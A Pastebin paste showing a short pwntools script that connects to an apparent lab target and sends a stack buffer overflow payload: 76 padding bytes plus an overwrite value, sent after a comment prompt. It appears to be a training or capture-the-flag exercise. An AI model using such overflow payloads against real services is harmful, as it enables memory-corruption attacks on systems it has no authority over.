Advertisement
tthtlc

Untitled

Feb 3rd, 2025
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.64 KB | None | 0 0
  1. thon3 myconn2.py -i 10.10.80.86 -p 9004
  2. root@ip-10-10-1-50:~# cat myconn2.py
  3. #!/usr/bin/python3
  4.  
  5. from pwn import *
  6. import argparse
  7. #parse commandline args
  8.  
  9. parser = argparse.ArgumentParser()
  10. parser.add_argument("-i", "--ip", help="IP of target")
  11. parser.add_argument("-p", "--port", help="target port")
  12. args = parser.parse_args()
  13.  
  14. #connect and wait for the right moment to send the payload
  15. conn = remote(args.ip, args.port)
  16. conn.recvuntil(b'Please go ahead and leave a comment :\n', drop = False)
  17.  
  18. #send payload and receive response
  19. payload = b'A' * 76 + b'\x59\x59\x59\x59'
  20. conn.sendline(payload)
  21. print(conn.recvline().decode())
  22.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement